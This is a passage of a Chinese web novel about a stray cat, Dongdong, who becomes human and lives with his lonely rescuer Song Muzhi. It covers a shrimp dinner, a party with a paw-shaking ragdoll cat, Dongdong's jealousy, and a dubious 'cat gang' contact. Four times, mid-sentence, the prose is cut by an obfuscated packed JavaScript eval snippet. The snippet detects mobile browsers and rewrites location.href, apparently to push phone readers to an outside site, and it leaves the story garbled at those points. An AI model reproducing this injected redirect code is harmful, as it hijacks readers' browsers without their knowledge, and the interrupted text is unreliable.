坐在地上的人指尖微动,沉默地搭上冬冬伸向他的手,稍一用力,宋木之便与不过一尺距离的冬冬对视。冬冬眨巴两下眼睛,默默向后退一步,躲开宋木之的视线。 “猫吃完了,现在该我们回家吃饭了。” “你想吃什么?”宋木之跟在先走一步的冬冬后面,不知是不是错觉,他看到冬冬的背影也有些不知所措。 “嗯……我想想,听说油焖大虾很好吃。” 宋木之笑了:“那我可不一定能做得出来哦。” 冬冬:“只要是哥做的我都喜欢吃。” 回家后,宋木之简单做了些食物,但仍旧没委屈冬冬的嘴,丝毫不敢造次地在网上找教程做油焖大虾。出于冬冬本质上还是只猫,他特地少放了些油盐酱醋,最终做出来个色香欠佳、味俱全的油焖大虾。 冬冬对此评价仅此二字:好吃!并且表示下次还想吃哥做的饭。 宋木之受宠若惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744121|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,深深觉得冬冬这是对他有盲目滤镜,手上还在不停给冬冬剥虾。他沉默片刻,终于问出自回家后始终萦绕在他心头的问题:“冬冬,你当时为什么靠近我啊?” 他其实想问冬冬是不是根本就不需要有人收养他它,可这问题太直白,等待对他来说又是件煎熬人心的事,他不太想知道真相。 冬冬眯着眼睛,享受宋木之流水线工程生产出来的大虾,又塞一口后心满意足地说:“当然是想跟哥打打交道了,哥喂了我们这么久,很少被猫猫们看见。” 果然,冬冬只是对他有怜悯之心。 得知真相的宋木之心凉了大半截,说不定还是猫猫联盟们私下商讨后,才决定让猫老大冬冬试着交涉一下,谁知道“喵”了一下就被拐回家。 宋木之不死心:“那你跟那些猫猫们关系很好?” 冬冬塞得满口红油,身旁人实在看不下去,拽起一张纸递给他擦嘴角,却又被冬冬的话堵得动作顿了顿。 “当然了,我经常跟他们一起玩呢。”冬冬回忆时不自觉就露出笑容。 坏了,这是棒打鸳鸯堆了。 宋木之堪堪收回尴尬的手,将纸巾团成团扔进垃圾桶,想了想又把刚剥好的大虾推到冬冬面前,低着头沉思了半天。 冬冬被满盘子大虾迷晕了头脑,又补充道:“以前跟他们在一起可开心了,吃不上饭的时候经常在一块捕猎,有时候去翻垃圾还能找到好吃的,就是经常没有水,人来了之后也经常忘添水,那也比以前的日子好多了。” 宋木之试探问道,头却低着:“那你喜欢流浪的日子吗?”他假装一门心思夹菜,实际上耳朵都快要竖起来了。 “流浪?原来那种日子叫流浪啊,我很开心。”冬冬眼睛微微睁大,又幸福地眯起来,“以前我在外面玩的时候好多人都把我拐回家,大概有三四次吧,没过几天我就跑出来了,我不喜欢那样——但我后来知道了,他们是在收养我。” 这下宋木之心更凉了,冬冬的表情明显是很喜欢以前自由的日子,怪不得以前在家的时候冬冬经常在猫房窗子前卧着,圆圆的眼睛还在望着窗子外面的景色。 冬冬吃得开心,并且敏锐地从宋木之脸上捕捉到了一丝不自在,他也不明白为什么。 实际上最后的话还没来得及说完,但早就已经过了那个话茬,也不适合再提起了,冬冬只好以后再找机会。 其实作为一只猫,冬冬最讨厌的就是下雨天,他讨厌毛被雨水打湿,也讨厌到处透着黏腻湿气的街道。 但那天有人撑伞来时,冬冬耳朵动了动,看到了他更讨厌的死气沉沉。 宋木之给流浪猫放饭的时候,冬冬就已经注意他很久了,人时常来得很晚,添完粮从不停留,那天也是如此。 冬冬甩甩身上的水,想起猫帮中流传很久的说法——猫正好长在人类的审美点上,可以给人带来很多幸福。猫也是可以变成人的。 于是他走到宋木之身后,决定收养一个没有猫陪的流浪人。 8. 猫爷冬冬 在宋木之的照料下,冬冬很快就“品鉴”完所有食物,他擦擦手上不小心沾到的油,又将玻璃水壶里刚烧好的水倒进碗里,学着武侠剧里梁山好汉,端起碗就喝。 不过猫咪冬冬没学出精髓,只学会一只手端碗,显得有些滑稽。 宋木之注意到他的动作,愣了一下:“你这阵子一直在用碗喝水?” 宋木之一直在说话,这时才闲下来吃饭做收尾工作:“你可以用我的杯子,碗确实是太不方便——不是用我现在喝的杯子!” 宋木之这回有经验,抢先一步端起即将被宠幸的杯子,又给冬冬端来一个猫尾把手的陶瓷杯。 “这是哥以前用的杯子吗?”冬冬宝贝似的捧着猫尾杯子,左看右看都像是他的模样,“跟我长得差不多。” 杯子整体是一只奶牛猫,但不同的是这是一只奶多牛少的奶牛猫,尾巴尖还多了一抹白色,看起来像是冬冬异父异母的亲兄弟。 那是宋木之大学期间做的手工,按照他梦中情猫的模样画出来的,画工依旧抽象,只能勉强看出来是只圆眼睛黑白相间的猫。 宋木之收起碗筷,一本正经地回答:“这杯子没怎么用过,正好适合你。” 在变成人将近半个月后,冬冬终于有了自己的杯子,他爱不释手地捧在怀里,睡觉时也要放在床头观赏,宋木之便任由他去了。 一切照旧,宋木之先跟冬冬躺在床上等他入睡,但大概是今天太过兴奋,直到凌晨宋木之才听到平稳的呼吸声。 冬冬缩成一团,像只虾米似的窝在宋木之怀里。他还没来得及动作,冬冬又在怀里蹭了蹭,小声地说:“那时到底为什么不开心呢。” 说罢,他便靠着宋木之的肩膀睡着了。 夜很漫长,宋木之少见地没有再起身。 他将手搭在身旁人身上,轻轻地拍了拍,也随之进入朦胧梦乡。 …… 传说天地有灵,小动物们有自己的归宿,猫帮就是其中之一。 冬冬自记事起就无父只有母,但猫妈妈是个志向远大的猫,自从被组织征用后冬冬再没见过她,冬冬就此开始了漫长的流浪,至此已经两年。 他没有猫妈妈那么大的抱负,也不想在组织里奔波劳碌,只想做一只单纯没烦恼的猫,但一不小心就混成了猫猫老大。 具体是从什么时候注意到那个男人的?冬冬舔了舔毛,可以非常坦率地说:“早就忘了。” 年纪小的狸花和小橘猫总是打架,猫猫老大每天都要维护流浪猫内部秩序,还要找到足够的食物和水源,哪有那么多精力顾及定时放饭的人。 但仔细回想的话,应该也很早就注意到了宋木之。 记得那天下了很大的雨,还夹杂着凝成霜的小碎片飘下来,它一身的厚毛刚刚好能保持温度。宋木之照常悄悄地走到草丛边,一言不发地将猫碗擦干净,倒水添粮,留下一把伞给猫碗挡雨。 冬冬记得这个人,身上总是有着医院的味道,不太好闻。 大多数流浪猫本就胆小,全靠长久持续地喂猫获取屈指可数的信任。而宋木之目前还在流浪猫的观察名单当中,仅限于吃猫粮时能小心翼翼摸一把的程度,凑近贴贴那是不可能的,而猫猫老大冬冬一般是凑最近观察的那位。 那天的宋木之眉眼低垂,平日里没有情绪的眼睛正泛着红,伞也不好好撑,大半个身体都被雨水浇湿了。 冬冬在他的身上感受到了死气沉沉,那种感觉随着冬冬被人拐回家一个月一个月的消退,但冬冬始终忘不了那夜宋木之的眼神——万念俱灰,厌倦,又在强撑。 冬冬想起以前妈妈变成人的模样,似乎也有了志向,它想知道这个人究竟经历过什么才会如此难过。 于是在2025年初冬,玉兰树凋落殆尽之时,它哒哒靠近,在一个人类的背后“喵”了一声—— 然而来年春天,冬冬早就把当初的志向忘得一干二净。电视机回荡着此起彼伏的笑声,冬冬拉开窗帘让阳光尽数照进来,盘腿窝在沙发上,边吃薯片边看综艺节目。 这综艺节目足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744122|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足有十季,还有一大堆衍生节目,冬冬看了大半个月才终于看到尾声。 等到宋木之回家时,他站在门口:“哥,回家这么晚的山东鸡是什么啊。” 冬冬在网上学得一知半解,完全没意识到自己说的话就算翻译过来也不通顺。 “什么山东鸡?”刚回家的宋木之在玄关摘下眼镜,疲惫地揉了揉眼睛,“你在家又吃零食了是不是,都说了吃零食对你身体不好。” “没有!” 冬冬心虚地抹去嘴边的薯片碎屑,神色自若地转过身去,把电视机上讨论“山东鸡”的声音隔绝在黑色屏幕里,眼不见心不烦。 这样的日子又过了半个多月,冬冬在家越发无聊,有时候宋木之不忙的时候就会带他出去转转,偶尔还能去跟小区流浪猫玩一会,但在这之后又是漫长的等待,冬冬做猫时也没感到时间这么难熬。 他总在等宋木之回家,每天连门都出不去,心情不好的时候就不受控制地变回猫,渐渐也被宋木之通过监控发现了端倪。 宋木之发现冬冬又变成猫后的心情难以言表,一下班就开车飞奔回家。 他说不出来再次看到猫是激动还是有些隐隐的失落,也有可能两种心情都有,但当他打开门时还是有些失望——冬冬听到他回家,又一激动变成了人。 猫咪形态像是限时体验版,而且是仅宋木之不可见的体验版,宋木之想猫时就靠着手机里的相片与监控视频度日,至于想人时,更是一个电话就够了。 他也不至于想天天见面的冬冬,就是偶尔有点心痒痒罢了。 然而自从那天喂猫回家后,宋木之一直对晚上饭桌前的谈话耿耿于怀,现在说对冬冬什么感觉他还摸不清捉不透,但唯一能确定的就是他现在给冬冬的生活束缚太多了。他又担心平日里招惹太多,生怕哪天冬冬也烦了又跑出去流浪。 这是很有可能发生的事,那可是三进三出别人家门的猫爷冬冬。 玉兰花开了又谢,宋木之望着窗外出神,不知不觉就到了夏天。 9. 握手小猫 “走啊,今天我家聚餐,所有人都必须来。” 手机聊天页面上的语音播放关闭,宋木之看看上面显示“路易”的人发来的一长串消息,不禁觉得头疼。 那是他大学时期的同学,为数不多留在这个城市的人。宋木之知道躲不过这位小十六的邀约,但理应跟冬冬知会一声。 他下意识就打开通讯录,等反应过来的时候电话已经拨通了,宋木之避嫌般从工位上站起来,悄悄走到了楼梯间。 “怎么了,哥?”冬冬捧着电话轻声说,就像是在贴着耳朵说话一样。 宋木之稍稍将听筒挪远,嘴唇动了动,一时之间又犹豫起来。料是与客户舌战群雄的宋木之,竟然也会有一天顾及怎么对家里那位组织措辞。 但无论怎么说,冬冬一天最期待的就是宋木之回家,听到他说“晚点回家”后声音都弱了半分,语气中掩饰不住的失落。 “那哥记得早点回家。”冬冬装作不在意地说。 宋木之突然就生出了爽约的心思,他恨不得现在就回家,但群聊里又弹出路易的消息:“好吃好喝的等着你们,都不许迟到啊。” 宋木之捏了捏太阳穴,将手机扣在桌面上。 这次聚餐主要是庆祝路易终于完成了学业,今年夏天终于要顺利毕业,还没等毕业季就拿出普天同庆的架势,在家里组了个局,特地要求宋木之一行人参加。 路易家的距离宋木之公司有半小时路程,相当于绕了小半圈市区,一打开门就是路易叫过来的其他朋友。 客厅里聚集了四五个人,各搬各的凳子将桌子围成了个圈。 “等你半天了都。”路易一头黑发,黑眼圈都快要掉到嘴边了,但满脸的憔悴中带着些兴奋,调侃地拍了拍宋木之的肩膀,“什么工作这么忙啊,连我这个哥们都晾在一边。” 宋木之放下公文包,环视一圈,活动着肩膀回答:“明明是路大少爷忙着当牛做马,看你上个学成什么鬼样了。” 与路易和宋木之一个社团的女生戈子怡搭话道:“说什么呢都,搞得好像上班就很轻松一样。” 在这里坐着的基本上都是一个社团关系好的朋友,路易招呼所有人坐下,非常有仪式感地举起杯子碰了一下,这才正式打开火锅熬汤。 “都多久没有这样聚过了,”路易挂着他那一双黑眼圈说着,手上还在拿着筷子理菜,“想当年我在社团里给老师当牛做马,谁知道读了研究生——居然还是连狗都不如。” “敢情你保到那么好的学校是去进修当狗了?”其中一个男生庚明杰抬头看向大家。 “去你的。” 庚明杰跟刚刚才说话的戈子怡是一对,目前已经到订婚的阶段,这场聚餐实际上也是在庆祝这对新人终成眷属。 不过有人终成眷属,有人简直没眼看。宋木之从大学时就看不得这对小情侣你侬我侬,作为与他“同仇敌忾”的路易,也理所当然地站到了同一阵营,宋木之当属跟小十六关系最好。 宋木之本想调侃回去,裤脚却突然被什么东西扒拉了一下,他低头看,是一只漂亮的布偶猫。 “你什么时候背着我们养猫了?”宋木之对猫天生喜爱,轻轻地摸了摸猫头,却被躲开,“偷偷加入养猫大军也不跟我们说一声。” 听到有猫,大家纷纷爬到桌子底下“观摩”。布偶猫长相标志,看起来才刚刚成年,“喵”一声能把人心都融化了。 戈子怡凑热闹看了一眼猫头,蜻蜓点水似的将视线收回来:“对啊,你要早点说我们就把你拉进猫猫大王那个群里了。” “什么?你们养猫的还建了个群?”路易惊讶道。 “那当然,我们还建了个没有你的群呢。” “哎,这怎么能让小石榴知道呢。” 大家堆在一起看猫的看猫,开玩笑的开玩笑,小布偶猫优雅地坐在宋木之腿边,又用手扒拉了一下他的裤腿。 “没事,我家南瓜跟我亲就行了。”路易摸摸小猫头,“来南瓜,握手~” 小布偶猫一听到有人叫它,脚步噔噔地跑到了他身边。只见圆润的小猫拳头乖乖搭在手掌心上,小布偶猫抬头注视着路易,眼神呆萌可爱,引得一片好奇声。 路易心满意足地收回手,奖励给南瓜两块冻干,又扯着傻笑给锅里添肉。 宋木之很少被猫眷顾,尤其还是别人家这么听话的小猫,光是握手就把他迷得不行。在“这有什么,我家猫也会握手”与“我家猫还会后空翻呢”的呼声中,他动作放轻,缓缓绕到桌子另一边,也试着向布偶猫伸出手掌心。 “握手?” 话音刚落,布偶猫嗅了嗅他的指尖,犹豫片刻还是将喵喵拳放在了宋木之的手心里。 “你家猫会跟我握手哎。”宋木之新奇地将爪子往前伸了伸,另一只手拿着冻干,不要钱似的喂给布偶猫。 新鲜感冲昏了头脑,宋木之兴致勃勃地拿出手机,打开了冬冬的聊天框。 他们上一次的聊天记录还停留在宋木之,他上班时闲得没事翻冬冬以前的旧照片,特地截了一个冬冬背后的特写,并且配文:小猫腿上还有一只小黑猫呢。 冬冬猫咪为数不多的黑色毛发全在背上,但白袜子上还长了一个缩小版的小猫,尾巴随意耷拉下来,看起来是个小黑猫的背影。 不过这条没有得到冬冬的回复,宋木之看了一眼时间,有些虚荣心作祟地打开视频录制键,又对着布偶猫柔声说:“握手,小猫。” 在冻干的威逼利诱下,小布偶俯首甘为贪吃猫,非常配合地又将圆圆的猫拳放在宋木之手心,一脸期待地抬头看向宋木之。视频到这里戛然而止,不多不少,正好适合争风吃醋。 这下总该回复了吧,宋木之心想。 视频加载几圈才发送成功,宋木之紧紧盯着手机,周遭火锅沸腾的声音不断,聊天界面却安静得一如往常。 三十秒,没有动静。 一分钟,对方正在输入中…… 两分钟,聊天页面又恢复如常。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744123|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >布偶猫尝到了甜头,还想吃冻干,又用猫爪扒拉着面前人的裤腿。宋木之轻轻摸了摸猫头,一门心思看着冬冬的头像。 那头像还是他给换上的,是冬冬躺在地上打滚时他拍的证件照翻转版。奶牛猫后仰着脸看镜头,猫爪里还捧着宋木之给它团的毛球,猫毛炸成梭子蟹的形状,很有猫爷冬冬的威武可爱之势。 但威武可爱的冬冬还是没动静,连个表情包都没有,宋木之等得腿都麻了。 一旁戈子怡见某人跟石雕般一动不动,边往锅里下肉边搭话:“宋现在都有小猫搭理了,不容易啊。” 被提及的宋木之终于从手机中拔出头,看向戈子怡:“可不是吗,肯搭理我的都是绝世好猫,再也不是当年那个连猫都摸不到的我了。” “是不是你养猫养太久,连其他猫都愿意给你施舍眼神了?”有人接着说。 宋木之想了想,觉得这话非常有道理。冬冬那么厉害一只猫,说不定他还真是承蒙冬冬的恩才有猫搭理。 最近喂流浪猫的时候也是,以往一摸就逃跑的小橘竟然在他添粮时蹭了他好几下,宋木之简直受宠若惊。 他想到这里,不由得笑了一下。 “来来来,都熟得可以吃了,别稀罕我家乖南瓜了。”路易将宋木之手中的冻干拿回来,强行掰着他肩膀落座,“手机也放下,你看你那样,都快钻进去了。” “你们不懂。”宋木之在聊天页面上流连几眼,实在等不到回复,只好摆摆手将手机熄屏,倒扣在桌面上,“我们家冬冬可乖了,你们想象不到的那种乖。” 具体包括——趁宋木之假装睡觉时轻轻咬他、晚上睡觉偷偷玩开心消消乐被宋木之发现、在家学动物世界里的熊冬眠…… “谁不知道你家冬冬就是懒得搭理你。”路易语气平稳地吐露着大实话,“还有你大学时候喂的那几只猫,现在怎么样了?” 宋木之被他这么一提,又想起宿舍楼下经常盘卧的几只猫。上学时草丛堆里经常长出猫,一阵子不见就会有好几只不同种类的猫趴着等饭吃,其中最多的当属还是白猫,宋木之深刻认识到自己没有猫缘也是在那个时候,直到毕业也没获得猫猫们的青睐。 现在想想,那些猫应该都被毕业生领养走了,日子过得比他好。 猫猫的话题就此告一段落,路易紧接着又谈起他研究生的生活,分手的女朋友,以及到底什么时候才能吃上那对新人的席,顺便又关心了一下宋木之的情感状况,喜提宋木之面无表情的“快滚”二字。 一群人闹闹哄哄的,宋木之许久未感受到这么热闹的聚餐,不知不觉就跟路易他们侃了一个小时的大山,再次想起来看手机时已经是一个小时后。 聊天页面传来两条消息,冬冬打字慢,说话也言简意赅,一眼就能扫完。 20:12 冬冬:这么晚还不回来吗。 21:29 冬冬:我也会握手。 短短两行字,宋木之来来回回看了好几遍。 10. 不握算了 宋木之承认猫爷冬冬吃醋得很可爱,嘴角的笑意满得快要溢出来了还在观赏。 路易碰了碰身旁人的胳膊,一转头却发现这货笑得像个傻子,甚至还盯着手机屏幕笑出了声。 “怎么不吃了?” 宋木之回过神来,轻咳一声,动作轻快地从椅子上站起来:“我家里有点事,你们先吃吧。” “下次再聚!”宋木之收起手机,抓起外套就往门口走去,全然不顾身后人的不满声。 夜色已沉,宋木之胳膊上搭着西装外套,步履匆忙地开车门,上车,踩油门。推开家门后,黑不隆咚地看不见任何,宋木之打开灯,在玄关换鞋的同时喊道:“冬冬?” 没有回应,冬冬不像往常那般一听到开门声就趿着拖鞋来见宋木之。 连续叫好几声都没得到回应,宋木之还以为是回消息太晚、开玩笑太过,惹得冬冬独自生闷气了,心里难免开始心慌起来。他走到客厅时顺手按下灯光,正想去猫房里看看时,却发现冬冬正坐在沙发上端端正正地看着他。 只不过这一次,冬冬又变回了长毛奶牛猫。 “冬冬?”宋木之脚步一顿,错愕地望着沙发上的猫,“你怎么又变回猫啦。” 冬冬喵一声,人没听懂,一脸懵地缓缓移动到沙发边坐下,冬冬又急切地喵几声,还是一无所获,索性直接放弃与傻瓜交流。 它矜贵地伸出一只手,看眼神像是在说:“握不握?” “不握就算了。” 前后动作不过三秒钟,冬冬逃也似的收回矜贵的猫爪,若无其事地舔舔毛。 “别生我气嘛,我这不是怕每天回家太早会惹你烦。” 宋木之绽出笑,主动将手放在冬冬手边求握手,猫爷秉承着机不可失、时不再来的宗旨,再没高抬贵手给过人面子。不过人的手始终没收走,喋喋不休地问了一大堆问题,冬冬听得耳朵疼,心想还不如听不懂人话呢。 它尾巴不耐烦地甩来甩去,意思简直不能太明显——闭嘴。 可宋木之非但不闭嘴,还变本加厉地按住它尾巴,又松开,隔几秒又按住,在招惹猫爷冬冬这方面可谓是劲儿得炉火纯青。 “今天那只猫是我朋友家的,跟我握手单纯是因为我手里拿着冻干,完全没有冬冬可爱的好吧,还是我们冬冬最好了,每天都等我回家……” 冬冬挺直胸脯沉思片刻,缓缓低下头,轻轻舔了舔宋木之的手。 声音戛然而止,宋木之话卡壳在一半,动作缓慢地将视线移到冬冬身上。猫又贴心地舔了舔手背,扎扎的有点痒,宋木之手微微动一下,与它天真无邪的眼睛对视。 这下不想闭嘴也只能缄口不言了。 宋木之老老实实地收回手,还故作不在意地摸摸猫头,一看到猫就想起冬冬变成人的模样,心里总觉得是人在舔他的手。 空气中传来默默流动的声音,沉默良久后,冬冬又扒了扒宋木之,喵一声就往猫房里跑,软乎乎的猫爪踩在地上,还边往猫房边回头看,示意宋木之跟上。 “怎么了?”宋木之不明所以,心里还有些不自在,但还是乖乖地跟着走到猫房。 冬冬站在猫房面前,伸出一只猫爪碰了碰门,宋木之随之打开房门,目送着冬冬一路长途跋涉,坐在喝水的碗面前矜贵地扒拉着猫碗。 想喝水,冬冬喵一声说道。 宋木之笑着答应,转身去拿矿泉水伺候猫爷冬冬。 果然猫不可貌相,明明看起来可爱到让人心都化了,背地里却是个高冷矜贵的猫猫大王。 冬冬应该饭没吃完就变回了猫,客厅桌子上摆着吃一半的外卖,杯子里也干干净净没有半点水,看样子是渴坏了,宋木之刚倒半瓶水猫就咚咚喝大半碗。 临近睡觉,宋木之久违地一个人躺在松软的床上。 近些天勤奋的冬冬也在晒被子,宋木之再也不用求爷爷告奶奶般拽着冬冬求“宠幸”了,冬冬以猫的形态睡在枕边,但宋木之满脑子都是:为什么会变成人??? 直到冬冬再次变回猫,宋木之才意识到他这几个月的时间已经习惯家里有个人了。 他之前一直以为只有在白天的时候冬冬才会变回猫,但怀里的猫触感太过真实,正在清晰地告诉他人与猫的形态跟白天黑夜没有任何关系。 难道是猫想变就变?跟巴啦啦小魔仙那样? 宋木之低头看猫,轻声问道:“冬冬,你还能变成人吗?” 他说完就感觉自己是吃饱了撑的,猫变成人他希望再次看见猫,变成猫了他又发现还是人比较好,估计猫都要烦死他了。 猫的确有点烦,它不满地喵了两声,转过身去独自生闷气。 冬冬知道,宋木之这是在试探变猫的期限有多久。它之前就看出来了,人很不喜欢它不是猫的样子,工作的时候在看猫调皮的视频,聚餐的时候也在逗别人家的猫。 冬冬曾经在电视上看到过,这就叫做家猫不如野猫香。 想到这里,冬冬就更不喜欢自己人形的样子了。虽然它也不知道变猫变人其中的原理,或许这会成为猫生最大的未解之谜。 但就这样也挺好的,它再也不想变成人了。 宋木之不知道哪里惹到猫,望着它独自生闷气的背影一头雾水,可接下来无论怎么拨弄猫尾巴,冬冬都再没有理会过他。 猫独自坐在窗边看外面的景色,宋木之知道他这是又想过自由自在的日子了,于是利索地将嘴巴拉链拉上,以免说太多加强冬冬流浪的心。 他小心翼翼地叹一口气,回复完路易专门发来声讨他急急忙忙告别的消息,习惯性打开相册欣赏猫爷冬冬的视频,滑到最后又注意到了那张猫帮贴吧的截屏。 或许猫帮里评论的人对冬冬的情况更清楚,他手指犹豫半天,最终还是选择复制贴吧里留下的联系方式。 那帖子实在有些久远,留着联系方式还是□□,宋木之打开,多年以来只用来传输文件的软件,繁杂的消息一涌而来。 他深思熟虑片刻,还是换了个小号搜索,输入验证消息,发出申请。宋木之不指望对面立刻就同意他的好友申请,于是放下手机,微微耷拉着眼皮看向冬冬。 过了好半天,冬冬的闷气已经消了,正在自顾自地舔毛,只不过还是不愿意正面对着宋木之。 宋木之不自觉地笑了一下,眼看窗外的景色黑不隆冬的,他伸手关闭床头灯,一把将冬冬捞到怀里准备睡觉,力气大得不容置疑。 冬冬激烈反抗失败,遂罢。 …… 宋木之原本以为睡一觉猫就会再次变成人,可一连几天冬冬都保持着猫的形态,又回到了过去人上班、猫跑酷的生活。 猫咪冬冬家电视看不了,开心消消乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744124|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也玩不得,整天就坐在猫房的玻璃窗前。 窗外的玉兰树郁郁葱葱,遮住外面大半的视野。老小区里人来人往,连个流浪猫也见不到,冬冬按照往常的习惯在玩偶架的空位置上与纸箱之间来回徘徊,巡视领地完毕后便开始睡大觉,好不惬意。 大概是闲的,宋木之感觉生活又回归于平淡,每天按部就班地上下班,回家就陪着冬冬玩游戏出去遛弯。 如今的他已经接受了猫变成人的事实,再去医院看莫须有的病也无济于事,更不敢怠慢了猫爷冬冬,生怕再次发生上次聚会那种事。 他也说不清楚该怎么面对冬冬,只知道无论变成人还是变成猫,冬冬就是冬冬,内里还是从来没变过,他无疑是不愿意看到冬冬落泪的,任何人在他面前落泪都会让宋木之不知所措。 可是日后如果就这样稀里糊涂地跟冬冬过下去,在他看来就有些荒唐了。 按照宋木之为数不多的人生经验来看,冬冬也是个独立的个体,始终依附于他更不是长久之计,这并非是排斥冬冬让他搬出去住的意思,而是冬冬总不能在二十一世纪新时代被圈养在家里。 不过这话对于基本上什么都不知道的新人类冬冬来说为时尚早,更何况现在又变成了猫的形态,他们都没搞清楚变化物种的规律,宋木之也只能拖一天是一天,看看接下来的日子会朝什么方向发展。 日子就这样一天一天过着,按部就班的重复每一个动作,宋木之感觉自己提前进入了养老生活,但唯独值得一提的是他有时候还要把工作带回家做,这是宋木之最头疼的事。 消息页面播放着尚心逸发来的语音,声音格外义愤填膺,听起来要把部长郑俊楚生吞活剥了:“不是吧,那个大魔头连下班了也不放过我们?” 宋木之面无表情地安慰她:“说是给我们加班费,一定要在明早上班之前做完。” 越到夏季,公司里的工作就越多,所有人都在争着抢着完成业绩,加班是时常有的事,这可苦了宋木之这个养猫人,他已经将近一个星期都没有带冬冬出去玩了。 大堆大堆的数据将宋木之淹没,耳后却传来扫地机器人苟延残喘的轰轰工作声,他抓了抓蓬乱的头发,转头看时,冬冬正端坐在扫地机器人上“巡视”。 宋木之哭笑不得地将手肘撑在椅背上,半个身子都转过去看猫:“注意一下你的体重啊冬冬。” 那扫地机器人是之前路易送给他的生日礼物,拿回家后基本没怎么用过,偶尔用一次还被好奇的猫压在身下,扫地之路可谓是任重道远。 这么想来,冬冬还没过过生日,宋木之脑袋里闪过这个念头。 虽然现在领养还不满一年,但生日是生日,捡回家的那天算是纪念日,他得找个空闲日子带冬冬体会一下过生日的感觉。 这么想着,宋木之又举起手机给冬冬连续抓拍好几张照片,突然,手机正中间弹出来一个白色提示:是否发起云同步? 宋木之没注意看就不小心点到了“确认”,但消息来源于手机相册,他也就没多管,继续欣赏毛蓬松成三角饭团的冬冬。 许久没看猫的形态,他这才发觉冬冬似乎胖了一圈,毛也跟着膨胀起来。 不过现在是夏天,肉眼看不出来太大的差别,他放下手中的工作,亦步亦趋地引着冬冬走到体重秤前,轻轻拍了拍体重秤:“冬冬来,上秤。” 11. 突生变故 这个玩意冬冬知道,以前刚到宋木之家里的时候它体型偏瘦,宋木之就经常猛猛给他喂粮,每隔一段时间就要上秤称一下。 变成人形的那段时间它曾经好奇地站上去过,但后来才知道上面显示的数字意思。 冬冬望着宋木之,迟迟都没有上秤:“喵。” 意思是猫不想称体重。 “快上来啊。”宋木之完全听不懂,又说了一遍。 冬冬喵喵叫好几声,非常严肃认真、且带着一点撒娇意味地拒绝宋木之的请求,可惜这货根本就听不懂。 冬冬尝试无果后,直接放弃与不通猫性的人交流,一转身朝着猫房走去了。 被“高冷”猫爷晾在一边的宋木之深刻感到自己失宠了,于是屁颠屁颠地跟在冬冬身后,试图重新与其交流获得它的“宠幸”,可还没开始他的“争宠”计划,手机一连串发来好几条消息,宋木之想忽略都没办法。 他安抚似的拍拍冬冬小脑袋瓜,不情不愿地起身走向电脑桌前。 消息大多来源于公司内部群消息,宋木之手指在屏幕上大致划拉两下,其中还夹杂一条□□消息提醒—— 【你们已成功添加为好友,现在可以开始聊天了!】 是猫帮那个人。 宋木之将满屏幕的消息撇在一边,慎重地打开这条消息。斟酌半天,他用键盘打出几个字:你好,我想咨询一下关于猫的问题。 对面来历不明,留在贴吧的评论也模棱两可,万一猫帮跟他们小区一样只是个救助流浪猫的组织,他也不至于透露太多冬冬的事情惹是生非。 猫帮老九:请问是咨询猫帮的各项事宜吗? 猫帮老九:可以先提供一下您家猫仔的基本信息~ Song:总是梦见我家猫说想变成人是怎么回事? 屏幕那头的人很快就回复:我们是专业负责猫咪变成人的官方组织,您可以说一下实际情况。 对面说完这句话后,又发来好几张猫帮官方组织的证书与环境图,其中有小猫和眼神清澈的人坐在教室里学习的图片,看起来还真挺像那么一回事,这下宋木之终于放下些心,说一句留一句地将冬冬的情况大致说一遍。 猫帮老九:如果方便的话,您可以带着猫来我们这边观察一下吗? 宋木之下意识拒绝:可能距离太远了,不太方便。 猫帮老九:您放心,我们在每个城市都有据点,最好还是让我们的工作人员看一下情况。 据点……? 怎么感觉对面这么像诈骗? 宋木之心中猛然生出这种想法,他沉默一分钟,随口答应“有时间就去”后,便匆忙结束聊天,暂时将探究冬冬身世的想法搁置在脑后。 反正时间还长,他可以从长计议。 宋木之原本是这样想的,可他没想到变故来得比想象还要快。 进入夏天,气温很快就闷热起来,宋木之照常坐在公司里开会,这个会开了足足有两个小时,大家都有些走神。 